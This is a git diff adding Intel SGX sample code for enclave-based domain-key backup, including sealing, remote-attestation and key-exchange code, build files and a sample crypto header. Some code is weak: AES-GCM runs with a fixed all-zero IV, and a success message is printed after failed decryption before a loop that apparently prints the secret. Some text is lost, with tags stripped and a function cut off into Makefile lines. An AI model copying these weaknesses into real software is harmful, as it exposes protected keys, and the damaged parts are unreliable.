ra_samp_response_header_t **pp_finalize_session_res); + +/* initialize the socket handle */ +void Initialize(); + +} + +#endif + diff --git a/cczoo/machine_binding_key_backup/rkeyserver/Enclave/enclave.config.xml b/cczoo/machine_binding_key_backup/rkeyserver/Enclave/enclave.config.xml new file mode 100644 index 00000000..12b5df99 --- /dev/null +++ b/cczoo/machine_binding_key_backup/rkeyserver/Enclave/enclave.config.xml @@ -0,0 +1,11 @@ + + 0 + 0 + 0x40000 + 0xA00000 + 8 + 1 + 0 + 0 + 0xFFFFFFFF + diff --git a/cczoo/machine_binding_key_backup/rkeyserver/Enclave/enclave.cpp b/cczoo/machine_binding_key_backup/rkeyserver/Enclave/enclave.cpp new file mode 100644 index 00000000..428f1ce6 --- /dev/null +++ b/cczoo/machine_binding_key_backup/rkeyserver/Enclave/enclave.cpp @@ -0,0 +1,284 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#include "enclave_t.h" +#include "sgx_tseal.h" + +#include +#include +#include +#include + +#include +#include "sgx_tkey_exchange.h" +#include "sgx_tcrypto.h" + +#define SGX_DOMAIN_KEY_SIZE 16 + +// This is the public EC key of the SP. +static const sgx_ec256_public_t g_sp_pub_key = { + { + 0x72, 0x12, 0x8a, 0x7a, 0x17, 0x52, 0x6e, 0xbf, + 0x85, 0xd0, 0x3a, 0x62, 0x37, 0x30, 0xae, 0xad, + 0x3e, 0x3d, 0xaa, 0xee, 0x9c, 0x60, 0x73, 0x1d, + 0xb0, 0x5b, 0xe8, 0x62, 0x1c, 0x4b, 0xeb, 0x38 + }, + { + 0xd4, 0x81, 0x40, 0xd9, 0x50, 0xe2, 0x57, 0x7b, + 0x26, 0xee, 0xb7, 0x41, 0xe7, 0xc6, 0x14, 0xe2, + 0x24, 0xb7, 0xbd, 0xc9, 0x03, 0xf2, 0x9a, 0x28, + 0xa8, 0x3c, 0xc8, 0x10, 0x11, 0x14, 0x5e, 0x06 + } + +}; + +// Used to store the secret passed by the SP in the sample code. +uint8_t g_domain_key[SGX_DOMAIN_KEY_SIZE] = {0}; + +void printf(const char *fmt, ...) +{ + char buf[BUFSIZ] = {'\0'}; + va_list ap; + va_start(ap, fmt); + vsnprintf(buf, BUFSIZ, fmt, ap); + va_end(ap); + ocall_print_string(buf); +} + +sgx_status_t sgx_get_domainkey(uint8_t *domain_key) +{ + sgx_status_t ret = SGX_ERROR_UNEXPECTED; + uint32_t dk_cipher_len = sgx_calc_sealed_data_size(0, SGX_DOMAIN_KEY_SIZE); + + if (dk_cipher_len == UINT32_MAX) + return SGX_ERROR_UNEXPECTED; + + int retstatus; + uint8_t dk_cipher[dk_cipher_len] = {0}; + uint8_t tmp[SGX_DOMAIN_KEY_SIZE] = {0}; + + ret = ocall_read_domain_key(&retstatus, dk_cipher, dk_cipher_len); + if (ret != SGX_SUCCESS) + return ret; + + if (retstatus == 0) { + uint32_t dk_len = sgx_get_encrypt_txt_len((const sgx_sealed_data_t *)dk_cipher); + + ret = sgx_unseal_data((const sgx_sealed_data_t *)dk_cipher, NULL, 0, tmp, &dk_len); + if (ret != SGX_SUCCESS) + return ret; + } + // -2: dk file does not exist. + else if (retstatus == -2) { + printf("enclave file does not exist.\n"); + ret = sgx_read_rand(tmp, SGX_DOMAIN_KEY_SIZE); + if (ret != SGX_SUCCESS) { + return ret; + } + + ret = sgx_seal_data(0, NULL, SGX_DOMAIN_KEY_SIZE, tmp, dk_cipher_len, (sgx_sealed_data_t *)dk_cipher); + if (ret != SGX_SUCCESS) + return SGX_ERROR_UNEXPECTED; + + ret = ocall_store_domain_key(&retstatus, dk_cipher, dk_cipher_len); + if (ret != SGX_SUCCESS || retstatus != 0) + return SGX_ERROR_UNEXPECTED; + } + else + return SGX_ERROR_UNEXPECTED; + + memcpy_s(domain_key, SGX_DOMAIN_KEY_SIZE, tmp, SGX_DOMAIN_KEY_SIZE); + memset_s(tmp, SGX_DOMAIN_KEY_SIZE, 0, SGX_DOMAIN_KEY_SIZE); + + return ret; +} + +/* encrypt dk with session key */ +sgx_status_t sgx_wrap_domain_key(sgx_aes_gcm_128bit_key_t *p_key, + uint8_t *p_dst, size_t p_dst_len, + sgx_aes_gcm_128bit_tag_t *p_out_mac) +{ + uint8_t domain_key[SGX_DOMAIN_KEY_SIZE]; + uint8_t aes_gcm_iv[12] = {0}; + + if (p_dst_len < SGX_DOMAIN_KEY_SIZE) + return SGX_ERROR_UNEXPECTED; + + sgx_status_t ret = sgx_get_domainkey(domain_key); + if (ret != SGX_SUCCESS) { + printf("Failed to get domain:%d.\n", ret); + return ret; + } + + ret = sgx_rijndael128GCM_encrypt(p_key, + domain_key, SGX_DOMAIN_KEY_SIZE, + p_dst, + aes_gcm_iv, sizeof(aes_gcm_iv), + NULL, 0, + p_out_mac); + + return ret; +} + +// This ecall is a wrapper of sgx_ra_init to create the trusted +// KE exchange key context needed for the remote attestation +// SIGMA API's. +sgx_status_t enclave_init_ra( + int b_pse, + sgx_ra_context_t *p_context) +{ + // isv enclave call to trusted key exchange library. + sgx_status_t ret; +#ifdef SUPPLIED_KEY_DERIVATION + ret = sgx_ra_init_ex(&g_sp_pub_key, b_pse, key_derivation, p_context); +#else + ret = sgx_ra_init(&g_sp_pub_key, b_pse, p_context); +#endif + return ret; +} + +// Closes the tKE key context used during the SIGMA key +// exchange. +sgx_status_t SGXAPI enclave_ra_close( + sgx_ra_context_t context) +{ + sgx_status_t ret; + ret = sgx_ra_close(context); + return ret; +} + +// Verify the mac sent in att_result_msg from the SP using the +// MK key. +sgx_status_t enclave_verify_att_result_mac(sgx_ra_context_t context, + uint8_t* p_message, + size_t message_size, + uint8_t* p_mac, + size_t mac_size) +{ + sgx_status_t ret; + sgx_ec_key_128bit_t mk_key; + + if(mac_size != sizeof(sgx_mac_t)) + { + ret = SGX_ERROR_INVALID_PARAMETER; + return ret; + } + if(message_size > UINT32_MAX) + { + ret = SGX_ERROR_INVALID_PARAMETER; + return ret; + } + + do { + uint8_t mac[SGX_CMAC_MAC_SIZE] = {0}; + + ret = sgx_ra_get_keys(context, SGX_RA_KEY_MK, &mk_key); + if(SGX_SUCCESS != ret) + { + break; + } + ret = sgx_rijndael128_cmac_msg(&mk_key, + p_message, + (uint32_t)message_size, + &mac); + if(SGX_SUCCESS != ret) + { + break; + } + if(0 == consttime_memequal(p_mac, mac, sizeof(mac))) + { + ret = SGX_ERROR_MAC_MISMATCH; + break; + } + + } + while(0); + + return ret; +} + +// Generate a secret information for the SP encrypted with SK. +sgx_status_t enclave_store_domainkey ( + sgx_ra_context_t context, + uint8_t *p_secret, + uint32_t secret_size, + uint8_t *p_gcm_mac) +{ + sgx_status_t ret = SGX_SUCCESS; + sgx_ec_key_128bit_t sk_key; + uint32_t i; + + do { + if(secret_size != SGX_DOMAIN_KEY_SIZE) + { + ret = SGX_ERROR_INVALID_PARAMETER; + break; + } + + ret = sgx_ra_get_keys(context, SGX_RA_KEY_SK, &sk_key); + if(SGX_SUCCESS != ret) + { + break; + } + + uint8_t aes_gcm_iv[12] = {0}; + ret = sgx_rijndael128GCM_decrypt(&sk_key, + p_secret, + secret_size, + g_domain_key, + &aes_gcm_iv[0], + 12, + NULL, + 0, + (const sgx_aes_gcm_128bit_tag_t *) + (p_gcm_mac)); + + if(ret != SGX_SUCCESS) { + printf("Failed to decrypt the secret from server\n"); + } + printf("Decrypt the serect success\n"); + for (i=0; i App/auto_version.h + @echo "#define RKEYSERVER_AUTO_VERSION_H" >> App/auto_version.h + @echo "#define KMS_DATE \"$(DATE_STRING)\"" >> App/auto_version.h + @echo "#define KMS_GIT_SHA \"$(KMS_GIT_SHA)\"" >> App/auto_version.h + @echo "#endif //RKEYSERVER_AUTO_VERSION_H" >> App/auto_version.h + @echo " ==> touch App/auto_version.h" + +App/enclave_u.h: $(SGX_EDGER8R) Enclave/enclave.edl + @cd App && $(SGX_EDGER8R) --untrusted ../Enclave/enclave.edl --search-path ../Enclave --search-path $(SGX_SDK)/include + @echo "GEN => $@" + +App/enclave_u.c: App/enclave_u.h + +App/enclave_u.o: App/enclave_u.c + @$(CC) $(SGX_COMMON_CFLAGS) $(App_C_Flags) -c $< -o $@ + @echo "CC <= $<" + +App/%.o: App/%.cpp App/auto_version.h + @$(CXX) $(SGX_COMMON_CXXFLAGS) $(App_Cpp_Flags) -c $< -o $@ + @echo "CXX <= $<" + +$(App_Name): App/enclave_u.o $(App_Cpp_Objects) App/auto_version.h + @$(CXX) $^ -o $@ $(App_Link_Flags) + @echo "LINK => $@" + +######## Enclave Objects ######## +Enclave/enclave_t.h: $(SGX_EDGER8R) Enclave/enclave.edl + @cd Enclave && $(SGX_EDGER8R) --trusted ../Enclave/enclave.edl --search-path ../Enclave --search-path $(SGX_SDK)/include + @echo "GEN => $@" + +Enclave/enclave_t.c: Enclave/enclave_t.h + +Enclave/enclave_t.o: Enclave/enclave_t.c + @$(CC) $(SGX_COMMON_CFLAGS) $(Enclave_C_Flags) -c $< -o $@ + @echo "CC <= $<" + +Enclave/%.o: Enclave/%.cpp Enclave/enclave_t.h + @$(CXX) $(SGX_COMMON_CXXFLAGS) $(Enclave_Cpp_Flags) -c $< -o $@ + @echo "CXX <= $<" + +$(Enclave_Name): Enclave/enclave_t.o $(Enclave_Cpp_Objects) + @$(CXX) $^ -o $@ $(Enclave_Link_Flags) + @echo "LINK => $@" + +$(Signed_Enclave_Name): $(Enclave_Name) + @$(SGX_ENCLAVE_SIGNER) sign -key $(Enclave_Signing_Key) -enclave $(Enclave_Name) -out $@ -config $(Enclave_Config_File) + @echo "SIGN => $@" diff --git a/cczoo/machine_binding_key_backup/rkeyserver/sample_libcrypto/libsample_libcrypto.so b/cczoo/machine_binding_key_backup/rkeyserver/sample_libcrypto/libsample_libcrypto.so new file mode 100755 index 00000000..c734501f Binary files /dev/null and b/cczoo/machine_binding_key_backup/rkeyserver/sample_libcrypto/libsample_libcrypto.so differ diff --git a/cczoo/machine_binding_key_backup/rkeyserver/sample_libcrypto/sample_libcrypto.h b/cczoo/machine_binding_key_backup/rkeyserver/sample_libcrypto/sample_libcrypto.h new file mode 100644 index 00000000..39f46e38 --- /dev/null +++ b/cczoo/machine_binding_key_backup/rkeyserver/sample_libcrypto/sample_libcrypto.h @@ -0,0 +1,227 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +/** +* File: sample_libcrypto.h +* Description: +* Interface for generic crypto library APIs. +* Do NOT use this library in your actual product. +* The purpose of this sample library is to aid the debugging of a +* remote attestation service. +* To achieve that goal, the sample remote attestation application +* will use this sample library to generate reproducible messages. +*/ + +#ifndef SAMPLE_LIBCRYPTO_H +#define SAMPLE_LIBCRYPTO_H + +#include + +typedef enum sample_status_t +{ + SAMPLE_SUCCESS = 0, + + SAMPLE_ERROR_UNEXPECTED , // Unexpected error + SAMPLE_ERROR_INVALID_PARAMETER , // The parameter is incorrect + SAMPLE_ERROR_OUT_OF_MEMORY , // Not enough memory is available to complete this operation + +} sample_status_t; + +#define SAMPLE_SHA256_HASH_SIZE 32 +#define SAMPLE_ECP256_KEY_SIZE 32 +#define SAMPLE_NISTP_ECP256_KEY_SIZE (SAMPLE_ECP256_KEY_SIZE/sizeof(uint32_t)) +#define SAMPLE_AESGCM_IV_SIZE 12 +#define SAMPLE_AESGCM_KEY_SIZE 16 +#define SAMPLE_AESGCM_MAC_SIZE 16 +#define SAMPLE_CMAC_KEY_SIZE 16 +#define SAMPLE_CMAC_MAC_SIZE 16 +#define SAMPLE_AESCTR_KEY_SIZE 16 + +typedef struct sample_ec256_dh_shared_t +{ + uint8_t s[SAMPLE_ECP256_KEY_SIZE]; +} sample_ec256_dh_shared_t; + +typedef struct sample_ec256_private_t +{ + uint8_t r[SAMPLE_ECP256_KEY_SIZE]; +} sample_ec256_private_t; + +typedef struct sample_ec256_public_t +{ + uint8_t gx[SAMPLE_ECP256_KEY_SIZE]; + uint8_t gy[SAMPLE_ECP256_KEY_SIZE]; +} sample_ec256_public_t; + +typedef struct sample_ec256_signature_t +{ + uint32_t x[SAMPLE_NISTP_ECP256_KEY_SIZE]; + uint32_t y[SAMPLE_NISTP_ECP256_KEY_SIZE]; +} sample_ec256_signature_t; + +typedef void* sample_sha_state_handle_t; +typedef void* sample_cmac_state_handle_t; +typedef void* sample_ecc_state_handle_t; + +typedef uint8_t sample_sha256_hash_t[SAMPLE_SHA256_HASH_SIZE]; + +typedef uint8_t sample_aes_gcm_128bit_key_t[SAMPLE_AESGCM_KEY_SIZE]; +typedef uint8_t sample_aes_gcm_128bit_tag_t[SAMPLE_AESGCM_MAC_SIZE]; +typedef uint8_t sample_cmac_128bit_key_t[SAMPLE_CMAC_KEY_SIZE]; +typedef uint8_t sample_cmac_128bit_tag_t[SAMPLE_CMAC_MAC_SIZE]; +typedef uint8_t sample_aes_ctr_128bit_key_t[SAMPLE_AESCTR_KEY_SIZE]; + +#ifdef __cplusplus + #define EXTERN_C extern "C" +#else + #define EXTERN_C +#endif + + #define SAMPLE_LIBCRYPTO_API EXTERN_C + +/* Rijndael AES-GCM +* Parameters: +* Return: sample_status_t - SAMPLE_SUCCESS on success, error code otherwise. +* Inputs: sample_aes_gcm_128bit_key_t *p_key - Pointer to key used in encryption/decryption operation +* uint8_t *p_src - Pointer to input stream to be encrypted/decrypted +* uint32_t src_len - Length of input stream to be encrypted/decrypted +* uint8_t *p_iv - Pointer to initialization vector to use +* uint32_t iv_len - Length of initialization vector +* uint8_t *p_aad - Pointer to input stream of additional authentication data +* uint32_t aad_len - Length of additional authentication data stream +* sample_aes_gcm_128bit_tag_t *p_in_mac - Pointer to expected MAC in decryption process +* Output: uint8_t *p_dst - Pointer to cipher text. Size of buffer should be >= src_len. +* sample_aes_gcm_128bit_tag_t *p_out_mac - Pointer to MAC generated from encryption process +* NOTE: Wrapper is responsible for confirming decryption tag matches encryption tag */ +SAMPLE_LIBCRYPTO_API sample_status_t sample_rijndael128GCM_encrypt(const sample_aes_gcm_128bit_key_t *p_key, const uint8_t *p_src, uint32_t src_len, + uint8_t *p_dst, const uint8_t *p_iv, uint32_t iv_len, const uint8_t *p_aad, uint32_t aad_len, + sample_aes_gcm_128bit_tag_t *p_out_mac); + +/* Message Authentication - Rijndael 128 CMAC +* Parameters: +* Return: sample_status_t - SAMPLE_SUCCESS on success, error code otherwise. +* Inputs: sample_cmac_128bit_key_t *p_key - Pointer to key used in encryption/decryption operation +* uint8_t *p_src - Pointer to input stream to be MAC +* uint32_t src_len - Length of input stream to be MAC +* Output: sample_cmac_gcm_128bit_tag_t *p_mac - Pointer to resultant MAC */ +SAMPLE_LIBCRYPTO_API sample_status_t sample_rijndael128_cmac_msg(const sample_cmac_128bit_key_t *p_key, const uint8_t *p_src, + uint32_t src_len, sample_cmac_128bit_tag_t *p_mac); + + + +/* +* Elliptic Curve Crytpography - Based on GF(p), 256 bit +*/ +/* Allocates and initializes ecc context +* Parameters: +* Return: sample_status_t - SAMPLE_SUCCESS or failure as defined SAMPLE_Error.h. +* Output: sample_ecc_state_handle_t ecc_handle - Handle to ECC crypto system */ +SAMPLE_LIBCRYPTO_API sample_status_t sample_ecc256_open_context(sample_ecc_state_handle_t* ecc_handle); + +/* Cleans up ecc context +* Parameters: +* Return: sample_status_t - SAMPLE_SUCCESS or failure as defined SAMPLE_Error.h. +* Output: sample_ecc_state_handle_t ecc_handle - Handle to ECC crypto system */ +SAMPLE_LIBCRYPTO_API sample_status_t sample_ecc256_close_context(sample_ecc_state_handle_t ecc_handle); + +/* Populates private/public key pair - caller code allocates memory +* Parameters: +* Return: sample_status_t - SAMPLE_SUCCESS on success, error code otherwise. +* Inputs: sample_ecc_state_handle_t ecc_handle - Handle to ECC crypto system +* Outputs: sample_ec256_private_t *p_private - Pointer to the private key +* sample_ec256_public_t *p_public - Pointer to the public key */ +SAMPLE_LIBCRYPTO_API sample_status_t sample_ecc256_create_key_pair(sample_ec256_private_t *p_private, + sample_ec256_public_t *p_public, + sample_ecc_state_handle_t ecc_handle); + +/* Computes DH shared key based on private B key (local) and remote public Ga Key +* Parameters: +* Return: sample_status_t - SAMPLE_SUCCESS on success, error code otherwise. +* Inputs: sample_ecc_state_handle_t ecc_handle - Handle to ECC crypto system +* sample_ec256_private_t *p_private_b - Pointer to the local private key - LITTLE ENDIAN +* sample_ec256_public_t *p_public_ga - Pointer to the remote public key - LITTLE ENDIAN +* Output: sample_ec256_dh_shared_t *p_shared_key - Pointer to the shared DH key - LITTLE ENDIAN +x-coordinate of (privKeyB - pubKeyA) */ +SAMPLE_LIBCRYPTO_API sample_status_t sample_ecc256_compute_shared_dhkey(sample_ec256_private_t *p_private_b, + sample_ec256_public_t *p_public_ga, + sample_ec256_dh_shared_t *p_shared_key, + sample_ecc_state_handle_t ecc_handle); + + +/* Computes signature for data based on private key +* +* A message digest is a fixed size number derived from the original message with +* an applied hash function over the binary code of the message. (SHA256 in this case) +* The signer's private key and the message digest are used to create a signature. +* +* A digital signature over a message consists of a pair of large numbers, 256-bits each, +* which the given function computes. +* +* The scheme used for computing a digital signature is of the ECDSA scheme, +* an elliptic curve of the DSA scheme. +* +* The keys can be generated and set up by the function: sgx_ecc256_create_key_pair. +* +* The elliptic curve domain parameters must be created by function: +* sample_ecc256_open_context +* +* Return: If context, private key, signature or data pointer is NULL, +* SAMPLE_ERROR_INVALID_PARAMETER is returned. +* If the signature creation process fails then SAMPLE_ERROR_UNEXPECTED is returned. +* +* Parameters: +* Return: sample_status_t - SAMPLE_SUCCESS, success, error code otherwise. +* Inputs: sample_ecc_state_handle_t ecc_handle - Handle to the ECC crypto system +* sample_ec256_private_t *p_private - Pointer to the private key - LITTLE ENDIAN +* uint8_t *p_data - Pointer to the data to be signed +* uint32_t data_size - Size of the data to be signed +* Output: ec256_signature_t *p_signature - Pointer to the signature - LITTLE ENDIAN */ +SAMPLE_LIBCRYPTO_API sample_status_t sample_ecdsa_sign(const uint8_t *p_data, + uint32_t data_size, + sample_ec256_private_t *p_private, + sample_ec256_signature_t *p_signature, + sample_ecc_state_handle_t ecc_handle); + +/* Allocates and initializes sha256 state +* Parameters: +* Return: sample_status_t - SAMPLE_SUCCESS on success, error code otherwise. +* Output: sample_sha_state_handle_t sha_handle - Handle to the SHA256 state */ +SAMPLE_LIBCRYPTO_API sample_status_t sample_sha256_init(sample_sha_state_handle_t* p_sha_handle); + +/* Updates sha256 has calculation based on the input message +* Parameters: +* Return: sample_status_t - SAMPLE_SUCCESS or failure. +* Input: sample_sha_state_handle_t sha_handle - Handle to the SHA256 state +* uint8_t *p_src - Pointer to the input stream to be hashed +* uint32_t src_len - Length of the input stream to be hashed */ +SAMPLE_LIBCRYPTO_API sample_status_t sample_sha256_update(const uint8_t *p_src, uint32_t src_len, sample_sha_state_handle_t sha_handle); + +/* Returns Hash calculation +* Parameters: +* Return: sample_status_t - SAMPLE_SUCCESS on success, error code otherwise. +* Input: sample_sha_state_handle_t sha_handle - Handle to the SHA256 state +* Output: sample_sha256_hash_t *p_hash - Resultant hash from operation */ +SAMPLE_LIBCRYPTO_API sample_status_t sample_sha256_get_hash(sample_sha_state_handle_t sha_handle, sample_sha256_hash_t *p_hash); + +/* Cleans up sha state +* Parameters: +* Return: sample_status_t - SAMPLE_SUCCESS on success, error code otherwise. +* Input: sample_sha_state_handle_t sha_handle - Handle to the SHA256 state */ +SAMPLE_LIBCRYPTO_API sample_status_t sample_sha256_close(sample_sha_state_handle_t sha_handle); + +#endif diff --git a/cczoo/machine_binding_key_backup/utils/tkey_exchange/Makefile b/cczoo/machine_binding_key_backup/utils/tkey_exchange/Makefile new file mode 100644 index 00000000..81214d06 --- /dev/null +++ b/cczoo/machine_binding_key_backup/utils/tkey_exchange/Makefile @@ -0,0 +1,59 @@ +# +# Copyright (c) 2022 Intel Corporation +# SPDX-License-Identifier: Apache-2.0 +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +include ../../buildenv.mk + +LIBNAME := libra_tkey_exchange.a + +OUT = $(TOPDIR)/$(OUTLIB_DIR) + +Include_Paths := \ + -I$(TOPDIR)/include \ + -I$(TOPDIR)/include/key_exchange \ + -I$(SGX_SDK)/include \ + -I$(SGX_SDK)/include/tlibc \ + -I$(SGX_SDK)/include/libcxx + +CXXFLAGS += $(ENCLAVE_CXXFLAGS) $(Include_Paths) + +SRC := $(wildcard *.cpp) + +OBJ := $(sort $(SRC:.cpp=.o)) + +.PHONY: all +all: $(LIBNAME) + @mkdir -p $(OUT) + @mv $< $(OUT) + +sgx_tkey_exchange_t.c: $(SGX_EDGER8R) sgx_tkey_exchange.edl + @$(SGX_EDGER8R) sgx_tkey_exchange.edl --search-path . + @echo "GEN => $@" + +tkey_exchange.o: sgx_tkey_exchange_t.c + @$(CC) $(CXXFLAGS) -c $< -o $@ + @echo "CC <= $<" + +$(OBJ): %.o :%.cpp + $(CXX) $(CXXFLAGS) -c $< -o $@ + +$(LIBNAME): $(OBJ) + $(AR) rcsD $@ $^ + +.PHONY: clean +clean: + @$(RM) $(OBJ) + @$(RM) sgx_tkey_exchange_t.* sgx_tkey_exchange_u.* + @$(RM) $(LIBNAME) + diff --git a/cczoo/machine_binding_key_backup/utils/tkey_exchange/ecp.cpp b/cczoo/machine_binding_key_backup/utils/tkey_exchange/ecp.cpp new file mode 100644 index 00000000..1a5e29b9 --- /dev/null +++ b/cczoo/machine_binding_key_backup/utils/tkey_exchange/ecp.cpp @@ -0,0 +1,97 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#include "sgx_ecp_types.h" +#include "ecp_interface.h" +#include "stdlib.h" +#include "string.h" + +#ifndef ERROR_BREAK +#define ERROR_BREAK(x) if(x != ippStsNoErr){break;} +#endif +#ifndef NULL_BREAK +#define NULL_BREAK(x) if(!x){break;} +#endif +#ifndef SAFE_FREE +#define SAFE_FREE(ptr) {if (NULL != (ptr)) {free(ptr); (ptr)=NULL;}} +#endif + +#define MAC_KEY_SIZE 16 + +#define EC_DERIVATION_BUFFER_SIZE(label_length) ((label_length) +4) + +sgx_status_t derive_key( + const sgx_ec256_dh_shared_t* shared_key, + const char* label, + uint32_t label_length, + sgx_ec_key_128bit_t* derived_key) +{ + sgx_status_t se_ret = SGX_SUCCESS; + uint8_t cmac_key[MAC_KEY_SIZE]; + sgx_ec_key_128bit_t key_derive_key; + if (!shared_key || !derived_key || !label) + { + return SGX_ERROR_INVALID_PARAMETER; + } + + /*check integer overflow */ + if (label_length > EC_DERIVATION_BUFFER_SIZE(label_length)) + { + return SGX_ERROR_INVALID_PARAMETER; + } + + memset(cmac_key, 0, MAC_KEY_SIZE); + se_ret = sgx_rijndael128_cmac_msg((sgx_cmac_128bit_key_t *)cmac_key, + (uint8_t*)shared_key, + sizeof(sgx_ec256_dh_shared_t), + (sgx_cmac_128bit_tag_t *)&key_derive_key); + if (SGX_SUCCESS != se_ret) + { + memset_s(&key_derive_key, sizeof(key_derive_key), 0, sizeof(key_derive_key)); + INTERNAL_SGX_ERROR_CODE_CONVERTOR(se_ret); + return se_ret; + } + /* derivation_buffer = counter(0x01) || label || 0x00 || output_key_len(0x0080) */ + uint32_t derivation_buffer_length = EC_DERIVATION_BUFFER_SIZE(label_length); + uint8_t *p_derivation_buffer = (uint8_t *)malloc(derivation_buffer_length); + if (p_derivation_buffer == NULL) + { + return SGX_ERROR_OUT_OF_MEMORY; + } + memset(p_derivation_buffer, 0, derivation_buffer_length); + + /*counter = 0x01 */ + p_derivation_buffer[0] = 0x01; + /*label*/ + memcpy(&p_derivation_buffer[1], label, label_length); + /*output_key_len=0x0080*/ + uint16_t *key_len = (uint16_t *)&p_derivation_buffer[derivation_buffer_length - 2]; + *key_len = 0x0080; + + se_ret = sgx_rijndael128_cmac_msg((sgx_cmac_128bit_key_t *)&key_derive_key, + p_derivation_buffer, + derivation_buffer_length, + (sgx_cmac_128bit_tag_t *)derived_key); + memset_s(&key_derive_key, sizeof(key_derive_key), 0, sizeof(key_derive_key)); + free(p_derivation_buffer); + if(SGX_SUCCESS != se_ret) + { + INTERNAL_SGX_ERROR_CODE_CONVERTOR(se_ret); + } + return se_ret; +} diff --git a/cczoo/machine_binding_key_backup/utils/tkey_exchange/ecp_interface.h b/cczoo/machine_binding_key_backup/utils/tkey_exchange/ecp_interface.h new file mode 100644 index 00000000..2e9687f3 --- /dev/null +++ b/cczoo/machine_binding_key_backup/utils/tkey_exchange/ecp_interface.h @@ -0,0 +1,39 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#ifndef _ECP_INTERFACE_H +#define _ECP_INTERFACE_H + +#include "sgx_ecp_types.h" +#include "sgx_tcrypto.h" + +//Key Derivation Function ID : 0x0001 AES-CMAC Entropy Extraction and Key Expansion +const uint16_t AES_CMAC_KDF_ID = 0x0001; + +sgx_status_t derive_key( + const sgx_ec256_dh_shared_t* shared_key, + const char* label, + uint32_t label_length, + sgx_ec_key_128bit_t* derived_key); + +#ifndef INTERNAL_SGX_ERROR_CODE_CONVERTOR +#define INTERNAL_SGX_ERROR_CODE_CONVERTOR(x) if(x != SGX_ERROR_OUT_OF_MEMORY){x = SGX_ERROR_UNEXPECTED;} +#endif + +#endif + diff --git a/cczoo/machine_binding_key_backup/utils/tkey_exchange/sgx_tkey_exchange.edl b/cczoo/machine_binding_key_backup/utils/tkey_exchange/sgx_tkey_exchange.edl new file mode 100644 index 00000000..c409a009 --- /dev/null +++ b/cczoo/machine_binding_key_backup/utils/tkey_exchange/sgx_tkey_exchange.edl @@ -0,0 +1,36 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +enclave { + trusted { + public sgx_status_t sgx_ra_get_ga(sgx_ra_context_t context, + [out] sgx_ec256_public_t *g_a); + + public sgx_status_t sgx_ra_proc_msg2_trusted(sgx_ra_context_t context, + [in]const sgx_ra_msg2_t *p_msg2, /*copy msg2 except quote into enclave */ + [in] const sgx_target_info_t *p_qe_target, + [out] sgx_report_t *p_report, + [out] sgx_quote_nonce_t *p_nonce); + + public sgx_status_t sgx_ra_get_msg3_trusted(sgx_ra_context_t context, + uint32_t quote_size, + [in]sgx_report_t* qe_report, + [user_check]sgx_ra_msg3_t *p_msg3, + uint32_t msg3_size); + }; +}; diff --git a/cczoo/machine_binding_key_backup/utils/tkey_exchange/sgx_tkey_exchange.h b/cczoo/machine_binding_key_backup/utils/tkey_exchange/sgx_tkey_exchange.h new file mode 100644 index 00000000..32aec3b8 --- /dev/null +++ b/cczoo/machine_binding_key_backup/utils/tkey_exchange/sgx_tkey_exchange.h @@ -0,0 +1,161 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#ifndef _SGX_TKEY_EXCHANGE_H_ +#define _SGX_TKEY_EXCHANGE_H_ + +#include "sgx.h" +#include "sgx_defs.h" +#include "sgx_key_exchange.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/* + * The sgx_ra_init function creates a context for the remote attestation and + * key exchange process. + * + * @param p_pub_key The EC public key of the service provider based on the NIST + * P-256 elliptic curve. + * @param b_pse [DEPRECATED] + * @param p_context The output context for the subsequent remote attestation + 